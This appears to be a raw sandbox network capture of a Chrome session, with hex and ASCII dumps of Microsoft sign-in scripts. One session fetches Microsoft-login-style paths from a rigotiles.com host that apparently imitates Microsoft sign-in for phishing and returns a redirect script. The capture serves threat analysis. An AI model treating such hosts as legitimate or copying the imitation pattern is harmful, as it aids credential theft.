65 6c 65 67 61 74 65 28 29 20 69 73 20 64 65 70 72 65 63 61 74 65 64 22 29 2c 74 68 69 Data Ascii: xtend({bind:function(e,t,r){return u("jQuery.fn.bind() is deprecated"),this.on(e,null,t,r)},unbind:function(e,t){return u("jQuery.fn.unbind() is deprecated"),this.off(e,null,t)},delegate:function(e,t,r,n){return u("jQuery.fn.delegate() is deprecated"),thi
2024-10-31 20:55:15 UTC	4965	IN	Data Raw: 2c 31 30 2a 28 61 2d 31 29 29 2b 62 3b 72 65 74 75 72 6e 20 63 2f 32 2a 28 2d 4d 61 74 68 2e 70 6f 77 28 32 2c 2d 31 30 2a 2d 2d 61 29 2b 32 29 2b 62 7d 2c 65 61 73 65 49 6e 43 69 72 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 2d 63 2a 28 4d 61 74 68 2e 73 71 72 74 28 31 2d 28 61 2f 3d 64 29 2a 61 29 2d 31 29 2b 62 7d 2c 65 61 73 65 4f 75 74 43 69 72 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 63 2a 4d 61 74 68 2e 73 71 72 74 28 31 2d 28 61 3d 61 2f 64 2d 31 29 2a 61 29 2b 62 7d 2c 65 61 73 65 49 6e 4f 75 74 43 69 72 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 62 2c 63 2c 64 29 7b 69 66 28 28 61 2f 3d 64 2f 32 29 3c 31 29 72 65 74 75 72 6e 20 2d 63 2f 32 2a 28 4d 61 74 Data Ascii: ,10(a-1))+b;return c/2(-Math.pow(2,-10--a)+2)+b},easeInCirc:function(e,a,b,c,d){return -c(Math.sqrt(1-(a/=d)a)-1)+b},easeOutCirc:function(e,a,b,c,d){return cMath.sqrt(1-(a=a/d-1)a)+b},easeInOutCirc:function(e,a,b,c,d){if((a/=d/2)<1)return -c/2(Mat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.16	51026	152.199.21.175	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:15 UTC	431	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_1yb3e7oii5t28dgo4xrtow2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:55:15 UTC	749	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 5570589 Cache-Control: public, max-age=31536000 Content-MD5: wheuNbhZLcnx5oBIfa0JTw== Content-Type: application/x-javascript Date: Thu, 31 Oct 2024 20:55:15 GMT Etag: 0x8DCC6D4DD76DEA7 Last-Modified: Tue, 27 Aug 2024 20:14:33 GMT Server: ECAcc (lhc/794B) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 5fcf6533-b01e-000b-222d-f97a0c000000 x-ms-version: 2009-09-19 Content-Length: 57443 Connection: close
2024-10-31 20:55:16 UTC	16383	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 69 5b 6e 5d 29 72 65 74 75 72 6e 20 69 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 74 3d 69 5b 6e 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 2c 69 64 3a 6e 2c 6c 6f 61 64 65 64 3a 21 31 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 74 2e 65 78 70 6f 72 74 73 2c 74 2c 74 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 74 2e 6c 6f 61 64 65 64 3d 21 30 2c 74 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 69 3d 7b 7d 3b 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 69 2c 6f 2e 70 3d 22 22 2c 6f 28 30 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 2c 69 29 7b 69 28 32 29 3b 76 61 72 20 6e 3d 69 28 31 29 2c 74 3d 69 28 35 29 2c 72 3d 69 28 36 29 2c 61 3d 72 2e 53 74 72 69 6e Data Ascii: !function(e){function o(n){if(i[n])return i[n].exports;var t=i[n]={exports:{},id:n,loaded:!1};return e[n].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var i={};return o.m=e,o.c=i,o.p="",o(0)}([function(e,o,i){i(2);var n=i(1),t=i(5),r=i(6),a=r.Strin
2024-10-31 20:55:16 UTC	1	IN	Data Raw: 44 Data Ascii: D
2024-10-31 20:55:16 UTC	16383	IN	Data Raw: 65 73 63 72 69 70 74 69 6f 6e 5f 55 6e 66 61 6d 69 6c 69 61 72 44 65 76 69 63 65 3d 22 54 6f 20 73 69 67 6e 20 69 6e 20 77 69 74 68 20 7b 30 7d 2c 20 70 6c 65 61 73 65 20 66 6f 6c 6c 6f 77 20 74 68 65 20 69 6e 73 74 72 75 63 74 69 6f 6e 73 20 6f 6e 20 79 6f 75 72 20 70 68 6f 6e 65 20 61 6e 64 20 65 6e 74 65 72 20 74 68 65 20 6e 75 6d 62 65 72 20 79 6f 75 20 73 65 65 20 62 65 6c 6f 77 2e 22 2c 65 2e 43 54 5f 52 4e 47 43 5f 53 54 52 5f 4c 53 5f 54 69 6d 65 6f 75 74 5f 54 69 74 6c 65 3d 22 52 65 71 75 65 73 74 20 74 69 6d 65 6f 75 74 22 2c 65 2e 43 54 5f 52 4e 47 43 5f 53 54 52 5f 4c 53 5f 54 69 6d 65 6f 75 74 5f 50 61 67 65 44 65 73 63 72 69 70 74 69 6f 6e 3d 22 57 65 20 64 69 64 6e 27 74 20 68 65 61 72 20 66 72 6f 6d 20 79 6f 75 20 69 6e 20 74 69 6d 65 2e Data Ascii: escription_UnfamiliarDevice="To sign in with {0}, please follow the instructions on your phone and enter the number you see below.",e.CT_RNGC_STR_LS_Timeout_Title="Request timeout",e.CT_RNGC_STR_LS_Timeout_PageDescription="We didn't hear from you in time.
2024-10-31 20:55:16 UTC	16383	IN	Data Raw: 2c 65 2e 53 54 52 5f 4e 61 74 69 76 65 5f 53 53 50 52 5f 45 6e 74 65 72 43 6f 64 65 5f 44 65 73 63 3d 22 45 6e 74 65 72 20 74 68 65 20 63 6f 64 65 20 77 65 20 6a 75 73 74 20 73 65 6e 74 20 74 6f 20 7b 30 7d 20 74 6f 20 72 65 73 65 74 20 79 6f 75 72 20 70 61 73 73 77 6f 72 64 2e 22 2c 65 2e 53 54 52 5f 43 65 72 74 42 61 73 65 41 75 74 68 50 6f 6c 69 63 79 5f 42 6c 6f 63 6b 3d 22 59 6f 75 20 63 61 6e 27 74 20 73 69 67 6e 20 69 6e 20 77 69 74 68 20 61 20 63 65 72 74 69 66 69 63 61 74 65 2e 20 54 72 79 20 73 69 67 6e 69 6e 67 20 69 6e 20 77 69 74 68 20 61 6e 6f 74 68 65 72 20 6d 65 74 68 6f 64 2e 22 2c 65 2e 53 54 52 5f 49 6e 76 61 6c 69 64 43 72 65 64 65 6e 74 69 61 6c 44 75 65 54 6f 4d 66 61 43 6c 61 73 73 69 66 69 63 61 74 69 6f 6e 3d 22 4d 75 6c 74 69 66 Data Ascii: ,e.STR_Native_SSPR_EnterCode_Desc="Enter the code we just sent to {0} to reset your password.",e.STR_CertBaseAuthPolicy_Block="You can't sign in with a certificate. Try signing in with another method.",e.STR_InvalidCredentialDueToMfaClassification="Multif
2024-10-31 20:55:16 UTC	8293	IN	Data Raw: 2c 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 43 61 6c 6c 57 65 6e 74 54 6f 56 6f 69 63 65 6d 61 69 6c 3a 22 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 43 61 6c 6c 57 65 6e 74 54 6f 56 6f 69 63 65 6d 61 69 6c 22 2c 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 49 6e 76 61 6c 69 64 50 68 6f 6e 65 49 6e 70 75 74 3a 22 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 49 6e 76 61 6c 69 64 50 68 6f 6e 65 49 6e 70 75 74 22 2c 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 50 68 6f 6e 65 48 75 6e 67 55 70 3a 22 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 50 68 6f 6e 65 48 75 6e 67 55 70 22 2c 55 73 65 72 56 6f 69 63 65 41 75 74 68 46 61 69 6c 65 64 49 6e 76 61 6c 69 64 50 68 6f 6e 65 4e 75 6d Data Ascii: ,UserVoiceAuthFailedCallWentToVoicemail:"UserVoiceAuthFailedCallWentToVoicemail",UserVoiceAuthFailedInvalidPhoneInput:"UserVoiceAuthFailedInvalidPhoneInput",UserVoiceAuthFailedPhoneHungUp:"UserVoiceAuthFailedPhoneHungUp",UserVoiceAuthFailedInvalidPhoneNum

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.16	51027	188.114.96.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:15 UTC	645	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css HTTP/1.1 Host: vn3hg.rigotiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://mail.rigotiles.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:55:16 UTC	834	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store CF-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X%2B2gJyk2bwOPiPrgiVYMCUF2m0zZDzyHUoqwCW5%2B%2FfWnLeDNn6xBSDIGaojn05Vx9wzpCNAj%2F9%2BjmcEtAj%2F7oK%2BcZYwjWD3q80hJd1j2Fv5X%2Bjc6JK2dfkzLQ0fMsPnvC758hfNV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68b83eb11144a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1097&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1223&delivery_rate=2583407&cwnd=219&unsent_bytes=0&cid=0e1f81518b4dcd21&ts=427&x=0"
2024-10-31 20:55:16 UTC	170	IN	Data Raw: 61 34 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 65 66 65 72 72 65 72 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 2d 72 65 66 65 72 72 65 72 27 3e 3c 73 63 72 69 70 74 3e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 2f 77 61 74 63 68 3f 76 3d 64 51 77 34 77 39 57 67 58 63 51 27 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: a4<html><head><meta name='referrer' content='no-referrer'><script>top.location.href='https://www.youtube.com/watch?v=dQw4w9WgXcQ';</script></head><body></body></html>
2024-10-31 20:55:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.16	51028	13.85.23.206	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:15 UTC	142	OUT	GET /clientwebservice/ping HTTP/1.1 Connection: Keep-Alive User-Agent: DNS resiliency checker/1.0 Host: fe3cr.delivery.mp.microsoft.com
2024-10-31 20:55:16 UTC	234	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Expires: -1 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff Date: Thu, 31 Oct 2024 20:55:15 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.16	51029	152.199.21.175	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:16 UTC	412	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_IzDt-l0Cuie0gYRUoEk15w2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:55:16 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 1989984 Cache-Control: public, max-age=31536000 Content-MD5: FH5pMpu6b85N3p947XewnA== Content-Type: application/x-javascript Date: Thu, 31 Oct 2024 20:55:16 GMT Etag: 0x8DCE4DDC9563CC2 Last-Modified: Sat, 05 Oct 2024 01:33:59 GMT Server: ECAcc (lhc/7966) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: c1c9facd-f01e-0047-7abd-19ea3c000000 x-ms-version: 2009-09-19 Content-Length: 449972 Connection: close
2024-10-31 20:55:16 UTC	15652	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-10-31 20:55:16 UTC	16383	IN	Data Raw: 48 45 4e 54 49 43 41 54 45 44 3a 22 38 30 30 34 35 35 33 38 22 2c 50 50 5f 45 5f 48 49 50 5f 56 41 4c 49 44 41 54 49 4f 4e 5f 45 52 52 4f 52 5f 4f 54 48 45 52 3a 22 38 30 30 34 35 35 33 39 22 2c 50 50 5f 45 5f 53 51 5f 43 4f 4e 54 41 49 4e 53 5f 50 41 53 53 57 4f 52 44 3a 22 38 30 30 34 33 34 31 45 22 2c 50 50 5f 45 5f 53 41 5f 43 4f 4e 54 41 49 4e 53 5f 50 41 53 53 57 4f 52 44 3a 22 38 30 30 34 33 34 31 43 22 2c 50 50 5f 45 5f 53 41 5f 43 4f 4e 54 41 49 4e 45 44 5f 49 4e 5f 50 41 53 53 57 4f 52 44 3a 22 38 30 30 34 33 34 31 44 22 2c 50 50 5f 45 5f 4c 49 42 50 48 4f 4e 45 4e 55 4d 42 45 52 49 4e 54 45 52 4f 50 5f 4e 55 4d 42 45 52 50 41 52 53 45 5f 45 58 43 45 50 54 49 4f 4e 3a 22 38 30 30 34 33 35 31 30 22 2c 50 50 5f 45 5f 53 54 52 4f 4e 47 50 52 4f 43 Data Ascii: HENTICATED:"80045538",PP_E_HIP_VALIDATION_ERROR_OTHER:"80045539",PP_E_SQ_CONTAINS_PASSWORD:"8004341E",PP_E_SA_CONTAINS_PASSWORD:"8004341C",PP_E_SA_CONTAINED_IN_PASSWORD:"8004341D",PP_E_LIBPHONENUMBERINTEROP_NUMBERPARSE_EXCEPTION:"80043510",PP_E_STRONGPROC
2024-10-31 20:55:16 UTC	16383	IN	Data Raw: 28 29 29 7d 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 6e 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 7b 76 61 72 20 6f 3d 6e 5b 61 5d 2e 73 70 6c 69 74 28 22 2c 22 29 2e 6d 61 70 28 4e 75 6d 62 65 72 29 2c 72 3d 6f 5b 30 5d 2c 73 3d 6f 5b 31 5d 2c 63 3d 6f 5b 32 5d 3b 69 66 28 69 28 65 2c 72 2c 73 2c 63 29 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 21 6c 2e 66 69 72 73 74 28 74 2c 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 6e 3d 3d 3d 65 2e 74 72 69 6d 28 29 7d 29 29 7d 69 66 28 54 2e 69 73 48 69 67 68 43 6f 6e 74 72 61 73 74 28 29 29 7b 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 62 6f 64 79 22 29 5b 30 5d 2c 74 3d 54 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 Data Ascii: ())}for(var a=0;a<n.length;a++){var o=n[a].split(",").map(Number),r=o[0],s=o[1],c=o[2];if(i(e,r,s,c))return!0}return!!l.first(t,(function(n){return n===e.trim()}))}if(T.isHighContrast()){var n=document.getElementsByTagName("body")[0],t=T.getComputedStyle(
2024-10-31 20:55:16 UTC	16383	IN	Data Raw: 4a 53 4f 4e 2c 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 4a 53 4f 4e 7d 28 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 69 3d 74 28 38 29 2c 61 3d 74 28 32 33 29 2c 6f 3d 74 28 33 29 2c 72 3d 74 28 35 29 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 76 61 72 20 6e 2c 73 3d 74 68 69 73 2c 63 3d 6f 2e 44 61 74 65 54 69 6d 65 2e 67 65 74 43 75 72 72 65 6e 74 54 69 6d 65 28 29 2c 64 3d 65 26 26 65 2e 66 45 6e 61 62 6c 65 43 6c 69 65 6e 74 54 65 6c 65 6d 65 74 72 79 26 26 65 2e 69 43 6c 69 65 6e 74 4c 6f 67 4c 65 76 65 6c 2c 6c 3d 6e 75 6c 6c 3b 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 29 72 65 74 75 72 6e 20 6c 5b 65 5d 2e 61 70 70 6c 79 28 6c 2c 61 72 67 75 6d 65 6e Data Ascii: JSON,module.exports=JSON}()},function(e,n,t){var i=t(8),a=t(23),o=t(3),r=t(5);function s(e){var n,s=this,c=o.DateTime.getCurrentTime(),d=e&&e.fEnableClientTelemetry&&e.iClientLogLevel,l=null;function u(e){return function(){if(l)return l[e].apply(l,argumen
2024-10-31 20:55:16 UTC	16383	IN	Data Raw: 22 50 72 6f 6f 66 43 6f 6e 66 69 72 6d 61 74 69 6f 6e 22 7d 2c 70 3d 6e 2e 53 74 61 74 75 73 3d 7b 4e 6f 6e 65 3a 30 2c 45 72 72 6f 72 3a 32 30 30 2c 53 75 63 63 65 73 73 3a 32 30 31 2c 48 49 50 45 72 72 6f 72 3a 32 30 32 2c 46 54 45 72 72 6f 72 3a 32 30 33 2c 49 6e 70 75 74 45 72 72 6f 72 3a 32 30 34 2c 44 65 73 74 69 6e 61 74 69 6f 6e 45 72 72 6f 72 3a 32 30 35 2c 54 69 6d 65 6f 75 74 3a 33 30 30 7d 2c 66 3d 6e 2e 50 72 6f 6f 66 54 79 70 65 54 6f 43 68 61 6e 6e 65 6c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 6e 75 6c 6c 3b 73 77 69 74 63 68 28 65 29 7b 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 3a 6e 3d 64 2e 4d 6f 62 69 6c 65 53 6d 73 3b 62 72 65 61 6b 3b 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 56 6f 69 63 65 3a 6e Data Ascii: "ProofConfirmation"},p=n.Status={None:0,Error:200,Success:201,HIPError:202,FTError:203,InputError:204,DestinationError:205,Timeout:300},f=n.ProofTypeToChannel=function(e){var n=null;switch(e){case PROOF.Type.SMS:n=d.MobileSms;break;case PROOF.Type.Voice:n
2024-10-31 20:55:16 UTC	16383	IN	Data Raw: 5d 2c 74 2e 48 61 73 51 72 43 6f 64 65 50 69 6e 26 26 6a 65 26 26 6c 3f 7b 63 72 65 64 54 79 70 65 3a 6d 2e 51 72 43 6f 64 65 50 69 6e 7d 3a 5b 5d 2c 74 2e 48 61 73 43 65 72 74 41 75 74 68 3f 7b 63 72 65 64 54 79 70 65 3a 6d 2e 43 65 72 74 69 66 69 63 61 74 65 2c 72 65 64 69 72 65 63 74 55 72 6c 3a 64 2e 43 65 72 74 41 75 74 68 55 72 6c 2c 72 65 64 69 72 65 63 74 50 6f 73 74 50 61 72 61 6d 73 3a 6f 6e 28 65 2e 46 6c 6f 77 54 6f 6b 65 6e 29 7d 3a 5b 5d 29 3b 69 66 28 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 45 6d 61 69 6c 5d 26 26 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 5d 26 26 53 65 5b 50 52 4f 4f 46 2e 54 79 70 65 2e 56 6f 69 63 65 5d 29 7b 76 61 72 20 66 3d 7a 65 28 65 2c 21 30 2c 6e 29 3b 66 2e 6c 65 6e 67 74 68 3e 30 26 26 28 63 2e 41 72 Data Ascii: ],t.HasQrCodePin&&je&&l?{credType:m.QrCodePin}:[],t.HasCertAuth?{credType:m.Certificate,redirectUrl:d.CertAuthUrl,redirectPostParams:on(e.FlowToken)}:[]);if(Se[PROOF.Type.Email]&&Se[PROOF.Type.SMS]&&Se[PROOF.Type.Voice]){var f=ze(e,!0,n);f.length>0&&(c.Ar
2024-10-31 20:55:16 UTC	16383	IN	Data Raw: 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 65 2e 70 75 72 65 43 6f 6d 70 75 74 65 64 28 7b 72 65 61 64 3a 6e 2c 77 72 69 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 28 74 26 26 28 74 2e 73 46 54 54 61 67 26 26 28 74 2e 73 46 54 54 61 67 3d 74 2e 73 46 54 54 61 67 2e 72 65 70 6c 61 63 65 28 74 2e 73 46 54 2c 65 29 29 2c 74 2e 73 46 54 3d 65 29 2c 6e 28 65 29 29 7d 7d 29 2e 65 78 74 65 6e 64 28 7b 6e 6f 74 69 66 79 3a 22 61 6c 77 61 79 73 22 7d 29 7d 2c 65 2e 65 78 74 65 6e 64 65 72 73 2e 6c 6f 67 56 61 6c 75 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 26 26 69 2e 72 65 67 69 73 74 65 72 54 72 61 63 69 6e 67 4f 62 73 65 72 76 61 62 6c 65 73 28 6e 2e 76 69 65 77 4d 6f 64 65 6c 2c 65 2c 6e 2e 74 72 61 63 69 6e 67 4f 70 Data Ascii: on(n,t){return e.pureComputed({read:n,write:function(e){e&&(t&&(t.sFTTag&&(t.sFTTag=t.sFTTag.replace(t.sFT,e)),t.sFT=e),n(e))}}).extend({notify:"always"})},e.extenders.logValue=function(e,n){return n&&i.registerTracingObservables(n.viewModel,e,n.tracingOp
2024-10-31 20:55:16 UTC	16383	IN	Data Raw: 21 21 6e 2e 66 49 73 52 65 6d 6f 74 65 43 6f 6e 6e 65 63 74 53 69 67 6e 75 70 2c 67 3d 6e 2e 75 72 6c 53 69 67 6e 55 70 2c 6d 3d 6e 2e 6f 53 69 67 6e 55 70 50 6f 73 74 50 61 72 61 6d 73 2c 62 3d 6e 2e 69 50 61 72 74 6e 65 72 43 61 6e 61 72 79 53 63 65 6e 61 72 69 6f 3b 74 68 69 73 2e 76 61 6c 69 64 61 74 65 41 73 79 6e 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 6f 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 70 29 72 65 74 75 72 6e 20 73 2e 44 65 76 69 63 65 41 75 74 68 3b 69 66 28 62 3d 3d 3d 63 2e 46 69 64 6f 29 72 65 74 75 72 6e 20 73 2e 46 69 64 6f 41 75 74 68 3b 74 68 72 6f 77 22 43 61 6e 61 72 79 20 56 61 6c 69 64 61 74 69 6f 6e 3a 20 46 6c 6f 77 20 49 44 73 Data Ascii: !!n.fIsRemoteConnectSignup,g=n.urlSignUp,m=n.oSignUpPostParams,b=n.iPartnerCanaryScenario;this.validateAsync=function(){return new o((function(e,n){var o=function(){if(p)return s.DeviceAuth;if(b===c.Fido)return s.FidoAuth;throw"Canary Validation: Flow IDs
2024-10-31 20:55:16 UTC	16383	IN	Data Raw: 29 7d 29 29 2c 6e 65 77 20 43 28 65 2c 74 2c 61 2c 6f 29 7d 7d 2c 74 65 6d 70 6c 61 74 65 3a 74 28 34 36 34 29 2c 73 79 6e 63 68 72 6f 6e 6f 75 73 3a 21 70 2e 53 65 72 76 65 72 44 61 74 61 2e 69 4d 61 78 53 74 61 63 6b 46 6f 72 4b 6e 6f 63 6b 6f 75 74 41 73 79 6e 63 43 6f 6d 70 6f 6e 65 6e 74 73 7c 7c 6f 2e 48 65 6c 70 65 72 2e 69 73 53 74 61 63 6b 53 69 7a 65 47 72 65 61 74 65 72 54 68 61 6e 28 70 2e 53 65 72 76 65 72 44 61 74 61 2e 69 4d 61 78 53 74 61 63 6b 46 6f 72 4b 6e 6f 63 6b 6f 75 74 41 73 79 6e 63 43 6f 6d 70 6f 6e 65 6e 74 73 29 2c 65 6e 61 62 6c 65 45 78 74 65 6e 73 69 6f 6e 73 3a 21 30 7d 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 69 3d 74 28 32 29 2c 61 3d 74 28 31 29 2c 6f 3d 74 28 34 29 2c 72 3d 77 69 6e 64 6f 77 Data Ascii: )})),new C(e,t,a,o)}},template:t(464),synchronous:!p.ServerData.iMaxStackForKnockoutAsyncComponents\|\|o.Helper.isStackSizeGreaterThan(p.ServerData.iMaxStackForKnockoutAsyncComponents),enableExtensions:!0})},function(e,n,t){var i=t(2),a=t(1),o=t(4),r=window
